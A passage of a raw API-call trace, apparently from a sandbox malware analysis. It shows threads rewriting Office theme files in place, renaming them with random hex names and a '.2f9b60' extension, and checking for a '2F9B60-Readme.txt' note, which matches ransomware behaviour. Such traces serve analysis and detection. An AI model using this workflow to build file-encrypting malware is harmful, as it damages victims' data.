sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="35") returned 2 [0101.556] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="21") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="23") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="d2") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="1e") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="e3") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="13") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="7c") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="45") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="90") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="98") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="16") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="91") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="39") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="19") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="57") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="47") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="b9") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="81") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fca0, _Format="%c%c" | out: _Dest="f8") returned 2 [0101.557] sprintf (in: _Dest=0x1cd9fca2, _Format="%c%c" | out: _Dest="cf") returned 2 [0101.558] RtlInitAnsiString (in: DestinationString=0x281bf908, SourceString="07ce214dcd352123d21ee3137c459098169139195747b981f8cf" | out: DestinationString="07ce214dcd352123d21ee3137c459098169139195747b981f8cf") [0101.558] RtlAnsiStringToUnicodeString (in: DestinationString=0x281bf8d8, SourceString="07ce214dcd352123d21ee3137c459098169139195747b981f8cf", AllocateDestinationString=1 | out: DestinationString="07ce214dcd352123d21ee3137c459098169139195747b981f8cf") returned 0x0 [0101.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869f40 [0101.558] wcscat (in: _Dest=0x106640, _Source="07ce214dcd352" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352" [0101.558] wcscat (in: _Dest=0x106640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352.2f9b60" [0101.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352.2f9b60", NtPathName=0x281bf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\07ce214dcd352.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776e70 [0107.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776e70) returned 1 [0107.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dd20) returned 1 [0107.198] NtQueryInformationFile (in: FileHandle=0xe38, IoStatusBlock=0x281bf918, FileInformation=0x281bf928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x281bf918, FileInformation=0x281bf928) returned 0x0 [0107.198] NtSetInformationFile (FileHandle=0xe38, IoStatusBlock=0x281bf918, FileInformation=0x281bf928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0107.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0107.200] FlushFileBuffers (hFile=0xe38) returned 1 [0107.423] CloseHandle (hObject=0xe38) returned 1 [0107.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.424] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.424] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a55a0) returned 1 Thread: id = 590 os_tid = 0x101c [0094.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml")) returned 0x20 [0095.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml", dwFileAttributes=0x20) returned 1 [0095.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe68 [0095.176] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0x282dfde0 | out: lpFileSize=0x282dfde0*=961) returned 1 [0095.176] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.176] ReadFile (in: hFile=0xe68, lpBuffer=0x282dfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x282dfda8, lpOverlapped=0x0 | out: lpBuffer=0x282dfd60*, lpNumberOfBytesRead=0x282dfda8*=0x4, lpOverlapped=0x0) returned 1 [0095.431] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0095.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0095.431] NtQuerySystemTime (in: CurrentTime=0x282dfca0 | out: CurrentTime=0x282dfca0*=132462177012670000) returned 0x0 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x325c6efd [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x6d990a0c [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x3ba672e4 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x12713b7c [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x162ec1ec [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x14a51f8e [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x4365ead2 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x1e2caa33 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x4cfd366e [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x32e64d82 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x3969a187 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x74d84518 [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x49d475bd [0095.431] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x382385ab [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x1d1960f0 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x63d03b8b [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x56280108 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0xd8099b6 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x5ac4a132 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x70e58e27 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x5204f99a [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x7078e7f6 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x70b65d28 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x43ec8532 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0xc204fa6 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x77712e4a [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x7c4172f0 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x4e6e2444 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x4e909853 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x1bc550e5 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x25ba6616 [0095.432] RtlRandomEx (in: Seed=0x282dfc90 | out: Seed=0x282dfc90) returned 0x60dc0829 [0095.444] ReadFile (in: hFile=0xe68, lpBuffer=0x20175950, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x282dfc90, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x282dfc90*=0x3c1, lpOverlapped=0x0) returned 1 [0095.444] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.444] WriteFile (in: hFile=0xe68, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x282dfc94, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x282dfc94*=0x3c1, lpOverlapped=0x0) returned 1 [0095.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0095.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0095.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fdf0) returned 1 [0095.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0095.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0095.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0095.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0095.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fdf0 [0095.731] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.731] WriteFile (in: hFile=0xe68, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x282dfdb0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x282dfdb0*=0x106, lpOverlapped=0x0) returned 1 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81c0 [0096.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81c0) returned 1 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81c0 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0096.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0096.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f0f0 [0096.009] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="ed") returned 2 [0096.009] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="64") returned 2 [0096.009] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="0f") returned 2 [0096.009] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="2a") returned 2 [0096.009] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="f5") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="ef") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="61") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="c8") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="83") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="e4") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="fd") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="3e") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="f9") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="51") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="b5") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="0c") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="a5") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="0d") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="f9") returned 2 [0096.010] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="fa") returned 2 [0096.010] RtlInitAnsiString (in: DestinationString=0x282dfe28, SourceString="ed640f2af5ef61c883e4fd3ef951b50ca50df9fa" | out: DestinationString="ed640f2af5ef61c883e4fd3ef951b50ca50df9fa") [0096.010] RtlAnsiStringToUnicodeString (in: DestinationString=0x282dfdf8, SourceString="ed640f2af5ef61c883e4fd3ef951b50ca50df9fa", AllocateDestinationString=1 | out: DestinationString="ed640f2af5ef61c883e4fd3ef951b50ca50df9fa") returned 0x0 [0096.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8587f0 [0096.010] wcscat (in: _Dest=0x1ce11340, _Source="ed640f2af5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5" [0096.010] wcscat (in: _Dest=0x1ce11340, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5.2f9b60" [0096.011] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5.2f9b60", NtPathName=0x282dfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ed640f2af5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118d60 [0104.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0104.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267760) returned 1 [0104.740] NtQueryInformationFile (in: FileHandle=0xe68, IoStatusBlock=0x282dfe38, FileInformation=0x282dfe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x282dfe38, FileInformation=0x282dfe48) returned 0x0 [0104.741] NtSetInformationFile (FileHandle=0xe68, IoStatusBlock=0x282dfe38, FileInformation=0x282dfe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11340) returned 1 [0105.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8587f0) returned 1 [0105.346] FlushFileBuffers (hFile=0xe68) returned 1 [0105.350] CloseHandle (hObject=0xe68) returned 1 [0105.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.456] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.456] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a60a0) returned 1 Thread: id = 591 os_tid = 0x1020 [0094.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml")) returned 0x20 [0095.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml", dwFileAttributes=0x20) returned 1 [0095.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe30 [0095.070] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x27edfdc0 | out: lpFileSize=0x27edfdc0*=928) returned 1 [0095.070] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x39c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.071] ReadFile (in: hFile=0xe30, lpBuffer=0x27edfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27edfd88, lpOverlapped=0x0 | out: lpBuffer=0x27edfd40*, lpNumberOfBytesRead=0x27edfd88*=0x4, lpOverlapped=0x0) returned 1 [0095.134] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0095.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.134] NtQuerySystemTime (in: CurrentTime=0x27edfc80 | out: CurrentTime=0x27edfc80*=132462177009706000) returned 0x0 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x2ff01202 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x69dbedce [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x786daf79 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x7586063 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x4c655771 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x3593d982 [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x46ca9d5c [0095.134] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x132d54f5 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x2463da31 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x5171fd4b [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x3802e9af [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x7c2a930e [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x3dfa73dd [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x143334ed [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0xffe581 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x153bd523 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x4b0f5634 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x244c59a9 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x6304af22 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x6c00573f [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x5fb9c47d [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x190e03c [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x6826864e [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x45fc3072 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x35943998 [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x2147951d [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x70faa84c [0095.135] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x20fbf3e8 [0095.136] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x70a17e3b [0095.136] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x7853f35d [0095.136] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x35343c9f [0095.136] RtlRandomEx (in: Seed=0x27edfc70 | out: Seed=0x27edfc70) returned 0x353e2802 [0095.149] ReadFile (in: hFile=0xe30, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x27edfc70, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x27edfc70*=0x3a0, lpOverlapped=0x0) returned 1 [0095.149] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.149] WriteFile (in: hFile=0xe30, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x27edfc74, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x27edfc74*=0x3a0, lpOverlapped=0x0) returned 1 [0095.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0095.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0095.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0095.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0095.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0095.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 [0095.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0095.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f6d0 [0095.677] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.677] WriteFile (in: hFile=0xe30, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x27edfd90, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x27edfd90*=0x10c, lpOverlapped=0x0) returned 1 [0100.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c170 [0100.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ced35c0 [0100.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0100.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0100.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20262f00 [0100.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0100.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0100.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638f0) returned 1 [0100.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced35c0) returned 1 [0100.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 